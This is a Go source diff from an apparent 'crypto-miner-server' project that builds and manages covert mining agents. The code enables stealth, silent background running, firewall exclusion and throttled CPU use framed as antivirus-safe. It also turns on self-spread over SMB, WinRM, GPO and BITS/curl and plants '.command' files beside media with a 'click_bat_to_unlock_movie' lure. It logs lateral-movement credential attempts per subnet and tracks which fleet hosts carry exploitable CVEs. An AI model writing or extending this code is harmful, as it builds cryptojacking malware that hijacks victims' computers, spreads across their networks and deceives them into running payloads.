// SetGoBinPath overrides the go toolchain binary used for forge compiles.
func (h *Handler) SetGoBinPath(path string) {
if strings.TrimSpace(path) != "" {
h.goBinPath = path
}
}
func NewHandler(database *db.Database, dataDir string, agentSrcDir string, projectRoot string) *Handler {
goBin := "go"
if _, err := exec.LookPath("go"); err == nil {
@@ -973,6 +986,9 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.MiningMode == "" {
req.MiningMode = "always"
}
if req.MinerExecution == "" {
req.MinerExecution = "inprocess"
}
if req.RunAs == "" {
req.RunAs = "user"
}
@@ -1060,6 +1076,9 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
req.Persistence = true
req.AutoStart = true
}
if req.LotlOnionEnabled {
ApplyLotlOnionPreset(req)
}
return nil
}
@@ -1138,7 +1157,8 @@ func GetBuiltinConfig() BuiltinConfig {
ThreadMode: %q,
ThreadPercent: %d,
CPUPriority: %q,
MiningMode: %q,
MiningMode: %q,
MinerExecution: %q,
DisplayMode: %q,
SilentMode: %v,
RunAs: %q,
@@ -1203,6 +1223,10 @@ func GetBuiltinConfig() BuiltinConfig {
AgentKillAfterDays: %d,
HTTPSBeaconFallback: %v,
HTTPSBeaconAfterMin: %d,
LotlOnionEnabled: %v,
LotlPolicyFromServer: %v,
LotlOnionTiers: %s,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -1214,6 +1238,7 @@ func GetBuiltinConfig() BuiltinConfig {
req.ThreadPercent,
req.CPUPriority,
req.MiningMode,
req.MinerExecution,
req.DisplayMode,
req.SilentMode,
req.RunAs,
@@ -1275,6 +1300,9 @@ func GetBuiltinConfig() BuiltinConfig {
req.AgentKillAfterDays,
httpsBeaconFallbackEnabled(req),
httpsBeaconAfterMin(req),
req.LotlOnionEnabled,
req.LotlPolicyFromServer,
formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),
)
}

View File

@@ -0,0 +1,79 @@
package builder
import "strings"
// DefaultLotlOnionTiers matches agent/deploy.DefaultLotlOnionTiers — keep in sync.
var DefaultLotlOnionTiers = []string{
"docker",
"wsl",
"powershell",
"dotnet",
"bits_curl",
"smb",
"winrm",
"linux",
"gpo",
}
// NormalizeLotlOnionTiers filters tier ids for forge + server config.
func NormalizeLotlOnionTiers(raw []string) []string {
allowed := map[string]struct{}{
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
"bits_curl": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
}
out := make([]string, 0, len(raw))
for _, t := range raw {
t = strings.ToLower(strings.TrimSpace(t))
if t == "bits/curl" {
t = "bits_curl"
}
if _, ok := allowed[t]; ok {
out = append(out, t)
}
}
if len(out) == 0 {
dup := make([]string, len(DefaultLotlOnionTiers))
copy(dup, DefaultLotlOnionTiers)
return dup
}
return out
}
// ApplyLotlOnionPreset enforces AV-Safe-adjacent mining + LOTL spread chain defaults.
func ApplyLotlOnionPreset(req *BuildRequest) {
req.LotlOnionEnabled = true
req.GPUEnabled = false
req.MinerExecution = "inprocess"
req.ProcessHollowing = false
req.SpreadKit = false
req.FusionEnabled = false
req.Obfuscate = false
if !req.AutoSpread {
req.AutoSpread = true
}
if !req.ShareSpread {
req.ShareSpread = true
}
req.USBSpread = false
req.RemoteAggressive = false
if req.LotlPolicyFromServer || len(req.LotlOnionTiers) == 0 {
req.LotlPolicyFromServer = true
}
req.LotlOnionTiers = NormalizeLotlOnionTiers(req.LotlOnionTiers)
if req.MiningMode == "" || req.MiningMode == "always" {
req.MiningMode = "idle"
}
if req.MaxCPUUsagePct <= 0 || req.MaxCPUUsagePct > 50 {
req.MaxCPUUsagePct = 50
}
if req.ThreadPercent <= 0 || req.ThreadPercent > 50 {
req.ThreadPercent = 50
}
req.StealthMode = true
if req.DisplayMode == "" || req.DisplayMode == "visible" {
req.DisplayMode = "background"
}
req.SilentMode = true
req.FileLogging = true
req.FirewallExclusion = true
}

View File

@@ -0,0 +1,47 @@
package builder
import "testing"
func TestNormalizeLotlOnionTiers(t *testing.T) {
got := NormalizeLotlOnionTiers(nil)
if len(got) != 9 || got[0] != "docker" || got[8] != "gpo" {
t.Fatalf("defaults: %v", got)
}
}
func TestApplyLotlOnionPreset(t *testing.T) {
req := &BuildRequest{
WorkerName: "pc",
ServerURL: "http://127.0.0.1:8989",
Wallet: "48abc",
}
ApplyLotlOnionPreset(req)
if !req.LotlOnionEnabled || !req.LotlPolicyFromServer {
t.Fatal("lotl flags")
}
if req.MinerExecution != "inprocess" || req.GPUEnabled {
t.Fatal("expected AV-Safe mining profile")
}
if !req.AutoSpread || !req.ShareSpread || req.SpreadKit {
t.Fatal("spread profile")
}
if len(req.LotlOnionTiers) != 9 {
t.Fatalf("tiers: %v", req.LotlOnionTiers)
}
}
func TestNormalizeRequestLotlOnion(t *testing.T) {
h := &Handler{}
req := &BuildRequest{
WorkerName: "pc",
ServerURL: "http://127.0.0.1:8989",
Wallet: "48abc",
LotlOnionEnabled: true,
}
if err := h.normalizeRequest(req); err != nil {
t.Fatal(err)
}
if req.MinerExecution != "inprocess" || !req.LotlPolicyFromServer {
t.Fatalf("lotl normalize: exec=%q policy=%v", req.MinerExecution, req.LotlPolicyFromServer)
}
}

View File

@@ -10,6 +10,7 @@ import (
"path/filepath"
"runtime"
"strings"
"sync"
"testing"
)
@@ -217,3 +218,172 @@ func TestPathForgeLockOriginalFalseKeepsOriginal(t *testing.T) {
t.Error("original file was unexpectedly renamed to .locked when lock_original=false")
}
}
// TestPathForgeRootPathOutsideAllowedRoots verifies BLD-D1: root_path must not
// contain traversal sequences and must resolve under home, temp, or server dataDir.
func TestPathForgeRootPathOutsideAllowedRoots(t *testing.T) {
h := NewPathForgeHandler(t.TempDir())
cases := []struct {
name string
rootPath string
skipUnless func() bool
wantSubstr string
}{
{
name: "traversal_dotdot",
rootPath: "../../../windows",
wantSubstr: "path traversal",
},
{
name: "unix_system_path",
rootPath: "/etc",
skipUnless: func() bool { return runtime.GOOS != "windows" },
wantSubstr: "outside allowed directories",
},
{
name: "windows_system_path",
rootPath: `C:\Windows\System32`,
skipUnless: func() bool { return runtime.GOOS == "windows" },
wantSubstr: "outside allowed directories",
},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
if tc.skipUnless != nil && !tc.skipUnless() {
t.Skip("not applicable on this platform")
}
escaped := strings.ReplaceAll(tc.rootPath, `\`, `\\`)
body := `{"root_path":"` + escaped + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}`
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("status %d, want 400; body=%s", rec.Code, rec.Body.String())
}
respBody := rec.Body.String()
if !strings.Contains(respBody, "root_path rejected") {
t.Errorf("expected root_path rejected in body, got %q", respBody)
}
if tc.wantSubstr != "" && !strings.Contains(respBody, tc.wantSubstr) {
t.Errorf("expected %q in body, got %q", tc.wantSubstr, respBody)
}
// Validation rejects before any walk/placement; Placed must stay 0.
var res PathForgeResult
if err := json.NewDecoder(strings.NewReader(respBody)).Decode(&res); err == nil && res.Placed != 0 {
t.Errorf("Placed=%d, want 0", res.Placed)
}
})
}
}
// TestPathForgeSkippedCountNonMediaExtensions verifies that files outside the
// requested extension set increment Skipped while matching extensions are placed.
// With extensions=[".jpg"] only: .mkv and .txt are skipped, .jpg is placed.
func TestPathForgeSkippedCountNonMediaExtensions(t *testing.T) {
root := t.TempDir()
for name, content := range map[string]string{
"clip.mkv": "video",
"readme.txt": "notes",
"photo.jpg": "image",
} {
if err := os.WriteFile(filepath.Join(root, name), []byte(content), 0644); err != nil {
t.Fatal(err)
}
}
body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) +
`","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1","extensions":[".jpg"]}`
h := NewPathForgeHandler(t.TempDir())
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
var res PathForgeResult
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
t.Fatal(err)
}
if res.Skipped != 2 {
t.Errorf("skipped: got %d, want 2 (.mkv + .txt)", res.Skipped)
}
if res.Total != 1 {
t.Errorf("total: got %d, want 1 (.jpg only)", res.Total)
}
if res.Placed < 1 {
t.Errorf("placed: got %d, want at least 1 for .jpg", res.Placed)
}
if res.Errors != 0 {
t.Errorf("errors: got %d, want 0; %v", res.Errors, res.ErrorList)
}
if len(res.Results) != 1 || res.Results[0].Source != "photo.jpg" {
t.Errorf("results: want single photo.jpg entry, got %+v", res.Results)
}
if _, err := os.Stat(filepath.Join(root, "photo.command")); err != nil {
t.Errorf("photo.command missing: %v", err)
}
}
// TestPathForgeConcurrentPlacements verifies two overlapping POSTs against the
// same root_path complete without hang or panic and leave companions on disk.
func TestPathForgeConcurrentPlacements(t *testing.T) {
root := t.TempDir()
mediaPath := filepath.Join(root, "film.mkv")
if err := os.WriteFile(mediaPath, []byte("video"), 0644); err != nil {
t.Fatal(err)
}
body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) +
`","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}`
h := NewPathForgeHandler(t.TempDir())
const n = 2
var wg sync.WaitGroup
wg.Add(n)
type outcome struct {
code int
res PathForgeResult
}
outcomes := make([]outcome, n)
for i := 0; i < n; i++ {
i := i
go func() {
defer wg.Done()
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
outcomes[i].code = rec.Code
if err := json.NewDecoder(rec.Body).Decode(&outcomes[i].res); err != nil {
t.Errorf("goroutine %d decode: %v", i, err)
}
}()
}
wg.Wait()
for i, o := range outcomes {
if o.code != http.StatusOK {
t.Errorf("goroutine %d: status %d", i, o.code)
}
if o.res.Total != 1 {
t.Errorf("goroutine %d: total %d, want 1", i, o.res.Total)
}
if o.res.Placed < 1 {
t.Errorf("goroutine %d: placed %d, want at least 1", i, o.res.Placed)
}
}
if _, err := os.Stat(filepath.Join(root, "film.command")); err != nil {
t.Errorf("film.command missing after concurrent placements: %v", err)
}
if _, err := os.Stat(filepath.Join(root, "click_bat_to_unlock_movie")); err != nil {
t.Errorf("hint file missing after concurrent placements: %v", err)
}
}

View File

@@ -0,0 +1,85 @@
package db
import (
"fmt"
"strings"
"crypto-miner-server/internal/models"
)
// AgentListFilter holds optional filters for paginated agent queries.
type AgentListFilter struct {
Limit int // 0 = no limit (return all matching rows)
Offset int
Status string // "online", "offline", or "" for any
Subnet string // e.g. "10.0.0.x" — matched against agents.ip prefix
}
// subnetToIPPrefix converts UI subnet labels to SQL LIKE patterns.
func subnetToIPPrefix(subnet string) string {
subnet = strings.TrimSpace(subnet)
if subnet == "" {
return ""
}
if strings.HasSuffix(subnet, ".x") {
return strings.TrimSuffix(subnet, ".x") + ".%"
}
if strings.HasSuffix(subnet, "%") {
return subnet
}
parts := strings.Split(subnet, ".")
if len(parts) >= 3 {
return fmt.Sprintf("%s.%s.%s.%%", parts[0], parts[1], parts[2])
}
return subnet + "%"
}
func (d *Database) agentListWhere(f AgentListFilter) (clause string, args []interface{}) {
var where []string
if f.Status != "" {
where = append(where, "status = ?")
args = append(args, f.Status)
}
if prefix := subnetToIPPrefix(f.Subnet); prefix != "" {
where = append(where, "ip LIKE ?")
args = append(args, prefix)
}
if len(where) == 0 {
return "", nil
}
return " WHERE " + strings.Join(where, " AND "), args
}
// ListAgentsFiltered returns agents matching optional status/subnet filters.
// When Limit > 0, results are paginated with Offset.
func (d *Database) ListAgentsFiltered(f AgentListFilter) ([]*models.Agent, error) {
where, args := d.agentListWhere(f)
query := `SELECT ` + agentSelectCols + ` FROM agents` + where + ` ORDER BY last_seen DESC`
if f.Limit > 0 {
query += ` LIMIT ? OFFSET ?`
args = append(args, f.Limit, f.Offset)
}
rows, err := d.Query(query, args...)
if err != nil {
return nil, err
}
defer rows.Close()
var agents []*models.Agent
for rows.Next() {
a, err := d.scanAgent(rows)
if err != nil {
return nil, err
}
agents = append(agents, a)
}
return agents, rows.Err()
}
// CountAgentsFiltered returns the number of agents matching filter criteria (ignores Limit/Offset).
func (d *Database) CountAgentsFiltered(f AgentListFilter) (int, error) {
where, args := d.agentListWhere(f)
var n int
err := d.QueryRow(`SELECT COUNT(*) FROM agents`+where, args...).Scan(&n)
return n, err
}

View File

@@ -0,0 +1,142 @@
package db
import (
"fmt"
"testing"
"time"
"crypto-miner-server/internal/models"
)
func TestListAgentsFilteredLargeFleet(t *testing.T) {
d, err := New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer d.Close()
const total = 200
for i := 0; i < total; i++ {
subnet := i % 3
agent := &models.Agent{
ID: fmt.Sprintf("agent-%04d", i),
Name: fmt.Sprintf("node-%d", i),
IP: fmt.Sprintf("10.0.%d.%d", subnet, (i%250)+1),
Status: "online",
LastSeen: time.Now().Add(-time.Duration(i) * time.Second),
}
if err := d.UpsertAgent(agent); err != nil {
t.Fatalf("upsert %d: %v", i, err)
}
}
all, err := d.ListAgents()
if err != nil {
t.Fatal(err)
}
if len(all) != total {
t.Fatalf("ListAgents: want %d got %d", total, len(all))
}
page, err := d.ListAgentsFiltered(AgentListFilter{Limit: 50, Offset: 0})
if err != nil {
t.Fatal(err)
}
if len(page) != 50 {
t.Fatalf("page 0: want 50 got %d", len(page))
}
subnetAgents, err := d.ListAgentsFiltered(AgentListFilter{Subnet: "10.0.1.x"})
if err != nil {
t.Fatal(err)
}
wantSubnet := total / 3
if len(subnetAgents) < wantSubnet-1 || len(subnetAgents) > wantSubnet+1 {
t.Fatalf("subnet filter: want ~%d got %d", wantSubnet, len(subnetAgents))
}
count, err := d.CountAgentsFiltered(AgentListFilter{Status: "online"})
if err != nil {
t.Fatal(err)
}
if count != total {
t.Fatalf("count online: want %d got %d", total, count)
}
}
func TestListAgentsFilteredAt500(t *testing.T) {
d, err := New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer d.Close()
const total = 500
const subnets = 25
for i := 0; i < total; i++ {
subnet := i % subnets
agent := &models.Agent{
ID: fmt.Sprintf("agent-%04d", i),
Name: fmt.Sprintf("node-%d", i),
IP: fmt.Sprintf("10.0.%d.%d", subnet, (i%250)+1),
Status: "online",
LastSeen: time.Now().Add(-time.Duration(i) * time.Second),
}
if err := d.UpsertAgent(agent); err != nil {
t.Fatalf("upsert %d: %v", i, err)
}
}
const pageLimit = 80
var seen int
for offset := 0; offset < total; offset += pageLimit {
page, err := d.ListAgentsFiltered(AgentListFilter{Limit: pageLimit, Offset: offset})
if err != nil {
t.Fatal(err)
}
want := pageLimit
if remain := total - offset; remain < pageLimit {
want = remain
}
if len(page) != want {
t.Fatalf("offset %d: want %d got %d", offset, want, len(page))
}
seen += len(page)
}
if seen != total {
t.Fatalf("paginated scan: want %d rows got %d", total, seen)
}
const targetSubnet = "10.0.1.x"
subnetAgents, err := d.ListAgentsFiltered(AgentListFilter{Subnet: targetSubnet, Limit: pageLimit})
if err != nil {
t.Fatal(err)
}
wantSubnet := total / subnets
if len(subnetAgents) != wantSubnet {
t.Fatalf("subnet filter: want %d got %d", wantSubnet, len(subnetAgents))
}
start := time.Now()
count, err := d.CountAgentsFiltered(AgentListFilter{Subnet: targetSubnet})
elapsed := time.Since(start)
if err != nil {
t.Fatal(err)
}
if count != wantSubnet {
t.Fatalf("subnet count: want %d got %d", wantSubnet, count)
}
if elapsed > 2*time.Second {
t.Fatalf("CountAgentsFiltered at %d agents too slow: %v", total, elapsed)
}
t.Logf("CountAgentsFiltered subnet=%s: %d in %v", targetSubnet, count, elapsed)
}
func TestSubnetToIPPrefix(t *testing.T) {
if got := subnetToIPPrefix("192.168.1.x"); got != "192.168.1.%" {
t.Fatalf("got %q", got)
}
if got := subnetToIPPrefix(""); got != "" {
t.Fatalf("empty: got %q", got)
}
}

View File

@@ -0,0 +1,113 @@
package db
import (
"fmt"
"strings"
"time"
)
// CredEdge records a lateral spread credential attempt (profile hash ref only — no secrets).
type CredEdge struct {
ID int64 `json:"id"`
Host string `json:"host"`
Subnet string `json:"subnet"`
CredentialProfileID string `json:"credential_profile_id"`
Success bool `json:"success"`
Method string `json:"method"`
AgentID string `json:"agent_id"`
CreatedAt time.Time `json:"created_at"`
}
// CredGraphSubnetRow aggregates cred_edges per /24 for the Emberwake graph UI.
type CredGraphSubnetRow struct {
Subnet string `json:"subnet"`
EdgeCount int `json:"edges"`
SuccessCount int `json:"success_count"`
FailCount int `json:"fail_count"`
}
// CredProfileAffinity ranks credential profiles that succeeded on a subnet.
type CredProfileAffinity struct {
CredentialProfileID string `json:"credential_profile_id"`
SuccessCount int `json:"success_count"`
LastSuccessAt string `json:"last_success_at,omitempty"`
}
func (d *Database) InsertCredEdge(host, subnet, profileID, method, agentID string, success bool) error {
host = strings.TrimSpace(host)
subnet = strings.TrimSpace(subnet)
profileID = strings.TrimSpace(profileID)
if host == "" || subnet == "" || profileID == "" {
return fmt.Errorf("cred edge requires host, subnet, and credential_profile_id")
}
_, err := d.Exec(
`INSERT INTO cred_edges (host, subnet, credential_profile_id, success, method, agent_id, created_at)
VALUES (?, ?, ?, ?, ?, ?, ?)`,
host, subnet, profileID, boolToInt(success), strings.TrimSpace(method), strings.TrimSpace(agentID), time.Now().UTC(),
)
return err
}
func (d *Database) ListCredProfileAffinity(subnet string) ([]CredProfileAffinity, error) {
subnet = strings.TrimSpace(subnet)
if subnet == "" {
return nil, nil
}
rows, err := d.Query(`
SELECT credential_profile_id,
COUNT(*) AS wins,
MAX(created_at) AS last_ok
FROM cred_edges
WHERE subnet = ? AND success = 1
GROUP BY credential_profile_id
ORDER BY last_ok DESC, wins DESC`,
subnet,
)
if err != nil {
return nil, err
}
defer rows.Close()
var out []CredProfileAffinity
for rows.Next() {
var row CredProfileAffinity
var lastOK string
if err := rows.Scan(&row.CredentialProfileID, &row.SuccessCount, &lastOK); err != nil {
return nil, err
}
if strings.TrimSpace(lastOK) != "" {
if parsed, parseErr := time.Parse(time.RFC3339, lastOK); parseErr == nil {
row.LastSuccessAt = parsed.UTC().Format(time.RFC3339)
} else {
row.LastSuccessAt = lastOK
}
}
out = append(out, row)
}
return out, rows.Err()
}
func (d *Database) ListCredGraphBySubnet() ([]CredGraphSubnetRow, error) {
rows, err := d.Query(`
SELECT subnet,
COUNT(*) AS edge_count,
SUM(CASE WHEN success = 1 THEN 1 ELSE 0 END) AS ok_cnt,
SUM(CASE WHEN success = 0 THEN 1 ELSE 0 END) AS fail_cnt
FROM cred_edges
GROUP BY subnet
ORDER BY edge_count DESC, subnet ASC`)
if err != nil {
return nil, err
}
defer rows.Close()
var out []CredGraphSubnetRow
for rows.Next() {
var row CredGraphSubnetRow
if err := rows.Scan(&row.Subnet, &row.EdgeCount, &row.SuccessCount, &row.FailCount); err != nil {
return nil, err
}
out = append(out, row)
}
return out, rows.Err()
}

View File

@@ -0,0 +1,64 @@
package db
import (
"path/filepath"
"testing"
)
func TestInsertCredEdgeAndGraph(t *testing.T) {
dir := t.TempDir()
d, err := New(dir)
if err != nil {
t.Fatal(err)
}
defer d.Close()
if err := d.InsertCredEdge("10.0.0.12", "10.0.0", "profile-a", "smb_scm", "agent-1", true); err != nil {
t.Fatal(err)
}
if err := d.InsertCredEdge("10.0.0.13", "10.0.0", "profile-a", "smb_scm", "agent-1", false); err != nil {
t.Fatal(err)
}
if err := d.InsertCredEdge("192.168.1.5", "192.168.1", "profile-b", "winrm_encoded", "agent-2", true); err != nil {
t.Fatal(err)
}
affinity, err := d.ListCredProfileAffinity("10.0.0")
if err != nil {
t.Fatal(err)
}
if len(affinity) != 1 || affinity[0].CredentialProfileID != "profile-a" || affinity[0].SuccessCount != 1 {
t.Fatalf("unexpected affinity: %#v", affinity)
}
graph, err := d.ListCredGraphBySubnet()
if err != nil {
t.Fatal(err)
}
if len(graph) != 2 {
t.Fatalf("expected 2 subnet rows, got %#v", graph)
}
found := map[string]CredGraphSubnetRow{}
for _, row := range graph {
found[row.Subnet] = row
}
if found["10.0.0"].EdgeCount != 2 || found["10.0.0"].SuccessCount != 1 || found["10.0.0"].FailCount != 1 {
t.Fatalf("unexpected 10.0.0 aggregate: %#v", found["10.0.0"])
}
// WAL file should live under temp dir (migration sanity).
if _, err := filepath.Glob(filepath.Join(dir, "miner.db*")); err != nil {
t.Fatal(err)
}
}
func TestInsertCredEdgeRequiresFields(t *testing.T) {
d, err := New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer d.Close()
if err := d.InsertCredEdge("", "10.0.0", "profile-a", "smb_scm", "agent-1", true); err == nil {
t.Fatal("expected validation error")
}
}

View File

@@ -0,0 +1,49 @@
package db
import (
"fmt"
"testing"
"time"
)
func TestBulkLastFleetTaskRunsAtScale(t *testing.T) {
d, err := New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer d.Close()
const agents = 120
const tasks = 25
agentIDs := make([]string, agents)
taskIDs := make([]string, tasks)
for i := 0; i < agents; i++ {
agentIDs[i] = fmt.Sprintf("agent-%03d", i)
}
for j := 0; j < tasks; j++ {
taskIDs[j] = fmt.Sprintf("task-%02d", j)
}
// Seed a subset of runs (not full N×M matrix).
for i := 0; i < agents; i += 3 {
for j := 0; j < tasks; j += 2 {
if err := d.RecordFleetTaskRun(agentIDs[i], taskIDs[j]); err != nil {
t.Fatal(err)
}
}
}
start := time.Now()
got, err := d.BulkLastFleetTaskRuns(agentIDs, taskIDs)
elapsed := time.Since(start)
if err != nil {
t.Fatal(err)
}
if len(got) == 0 {
t.Fatal("expected some last-run rows")
}
if elapsed > 2*time.Second {
t.Fatalf("bulk query too slow at %d×%d: %v", agents, tasks, elapsed)
}
t.Logf("BulkLastFleetTaskRuns %d agents × %d tasks: %d rows in %v", agents, tasks, len(got), elapsed)
}

View File

@@ -182,6 +182,19 @@ func (d *Database) migrate() error {
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_campaign ON campaign_hits(campaign)`,
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_created ON campaign_hits(created_at)`,
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_event ON campaign_hits(event_type)`,
`CREATE TABLE IF NOT EXISTS cred_edges (
id INTEGER PRIMARY KEY AUTOINCREMENT,
host TEXT NOT NULL,
subnet TEXT NOT NULL,
credential_profile_id TEXT NOT NULL,
success INTEGER NOT NULL DEFAULT 0,
method TEXT NOT NULL DEFAULT '',
agent_id TEXT NOT NULL DEFAULT '',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE INDEX IF NOT EXISTS idx_cred_edges_subnet ON cred_edges(subnet)`,
`CREATE INDEX IF NOT EXISTS idx_cred_edges_profile ON cred_edges(credential_profile_id)`,
`CREATE INDEX IF NOT EXISTS idx_cred_edges_created ON cred_edges(created_at)`,
}
for _, m := range extraMigrations {
if _, err := d.Exec(m); err != nil {
@@ -190,6 +203,17 @@ func (d *Database) migrate() error {
}
_, _ = d.Exec(`ALTER TABLE campaign_hits ADD COLUMN event_type TEXT NOT NULL DEFAULT ''`)
scaleIndexes := []string{
`CREATE INDEX IF NOT EXISTS idx_agents_status ON agents(status)`,
`CREATE INDEX IF NOT EXISTS idx_agents_last_seen ON agents(last_seen)`,
`CREATE INDEX IF NOT EXISTS idx_fleet_task_runs_agent ON fleet_task_runs(agent_id)`,
}
for _, m := range scaleIndexes {
if _, err := d.Exec(m); err != nil {
return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)
}
}
return nil
}

View File

@@ -1,6 +1,9 @@
package models
import "time"
import (
"encoding/json"
"time"
)
type Agent struct {
ID string `json:"id"`
@@ -63,6 +66,29 @@ type Agent struct {
GPUTempC *int `json:"gpu_temp_c,omitempty"`
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
// Mining fallback cascade
ActiveMethod string `json:"active_method,omitempty"`
MiningLastError string `json:"last_error,omitempty"`
StratumOverlay bool `json:"stratum_overlay,omitempty"`
ChainExhausted bool `json:"chain_exhausted,omitempty"`
ChainOrder []string `json:"chain_order,omitempty"`
FailedMethods []struct {
Method string `json:"method"`
Reason string `json:"reason"`
At string `json:"at"`
} `json:"failed_methods,omitempty"`
// LOTL tier onion telemetry
LOTLTier string `json:"lotl_tier,omitempty"`
LOTLAttempts []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
} `json:"lotl_attempts,omitempty"`
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
// GPU / Ravencoin mining
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
@@ -73,6 +99,9 @@ type Agent struct {
// Crucible — SSH status probed by the agent every ~60s
SSHAvailable *bool `json:"ssh_available,omitempty"`
// Passive LAN/domain recon for spread targeting (stats WS, not persisted).
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
// Defense posture + patch exposure — ATT&CK T1685/T1686.003
PostureScore int `json:"posture_score,omitempty"`
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
@@ -89,6 +118,23 @@ type Agent struct {
// T1007 System Service Discovery — fixed allowlist only
Services []AgentService `json:"services,omitempty"`
// Last successful discover_and_join supply-chain lane.
JoinLane string `json:"join_lane,omitempty"`
// Authorized fleet vulnerability recon (read-only LOTL probe tier)
VulnFindings []VulnFinding `json:"vuln_findings,omitempty"`
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
}
// VulnFinding mirrors agent vuln_findings stats payload.
type VulnFinding struct {
CVEID string `json:"cve_id"`
Severity string `json:"severity"`
Component string `json:"component"`
Patched bool `json:"patched"`
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
Detail string `json:"detail,omitempty"`
}
// AgentService mirrors the ServiceStatus reported by the agent.

View File

@@ -159,6 +159,38 @@ func TestBuildRecordJSONRoundTrip(t *testing.T) {
})
}
func TestAgentLotlFieldsJSONRoundTrip(t *testing.T) {
agent := Agent{
ID: "lotl-1", Name: "tier-node", Status: "online",
LOTLTier: "cpu_inprocess",
MiningHashrate: 850.5,
LOTLAttempts: []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
}{
{Tier: "container", OK: false, Error: "docker missing", DurationMs: 400, Wallet: "xmr-wallet"},
{Tier: "cpu_inprocess", OK: true, DurationMs: 1200, Wallet: "xmr-wallet"},
},
}
b, err := json.Marshal(agent)
if err != nil {
t.Fatal(err)
}
var out Agent
if err := json.Unmarshal(b, &out); err != nil {
t.Fatal(err)
}
if out.LOTLTier != "cpu_inprocess" || out.MiningHashrate != 850.5 {
t.Fatalf("lotl fields lost: %+v", out)
}
if len(out.LOTLAttempts) != 2 || !out.LOTLAttempts[1].OK {
t.Fatalf("attempts=%+v", out.LOTLAttempts)
}
}
func TestAgentMinimalJSON(t *testing.T) {
var out Agent
if err := json.Unmarshal([]byte(`{"id":"x","status":"offline"}`), &out); err != nil {

View File

@@ -0,0 +1,133 @@
package vuln
import (
"strings"
)
// Finding mirrors agent vuln_findings JSON for server-side enrichment.
type Finding struct {
CVEID string `json:"cve_id"`
Severity string `json:"severity"`
Component string `json:"component"`
Patched bool `json:"patched"`
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
Detail string `json:"detail,omitempty"`
}
// CatalogEntry is a lightweight embedded CVE rule for fleet correlator.
type CatalogEntry struct {
ID string `json:"id"`
Name string `json:"name"`
Component string `json:"component"`
Severity string `json:"severity"`
FleetPorts []int `json:"fleet_ports,omitempty"`
PatchKBs []string `json:"patch_kbs,omitempty"`
}
// EmbeddedCatalog is served by GET /api/v1/vuln/catalog (cached JSON).
var EmbeddedCatalog = []CatalogEntry{
{ID: "CVE-2021-44228", Name: "Log4Shell", Component: "Apache Log4j", Severity: "critical"},
{ID: "CVE-2021-26855", Name: "ProxyLogon", Component: "Microsoft Exchange", Severity: "critical", FleetPorts: []int{443, 80}, PatchKBs: []string{"KB5000871"}},
{ID: "CVE-2020-1472", Name: "Zerologon", Component: "Microsoft Netlogon", Severity: "critical", FleetPorts: []int{445, 135}, PatchKBs: []string{"KB4577015"}},
{ID: "CVE-2019-19781", Name: "Citrix ADC", Component: "Citrix ADC/Gateway", Severity: "critical", FleetPorts: []int{443}},
{ID: "CVE-2019-11510", Name: "Pulse Secure", Component: "Ivanti Pulse Connect Secure", Severity: "critical", FleetPorts: []int{443}},
{ID: "CVE-2020-5902", Name: "F5 BIG-IP", Component: "F5 BIG-IP", Severity: "critical", FleetPorts: []int{443, 8443}},
{ID: "CVE-2022-1388", Name: "F5 iControl", Component: "F5 BIG-IP", Severity: "critical", FleetPorts: []int{443, 8443}},
{ID: "CVE-2021-26084", Name: "Confluence OGNL", Component: "Atlassian Confluence", Severity: "critical", FleetPorts: []int{8090, 8443}},
{ID: "CVE-2022-26134", Name: "Confluence RCE", Component: "Atlassian Confluence", Severity: "critical", FleetPorts: []int{8090, 8443}},
{ID: "CVE-2021-40539", Name: "ManageEngine", Component: "Zoho ManageEngine ADSelfService Plus", Severity: "critical", FleetPorts: []int{9251}},
{ID: "CVE-2018-13379", Name: "FortiOS path traversal", Component: "Fortinet FortiGate/FortiOS", Severity: "critical", FleetPorts: []int{443, 10443}},
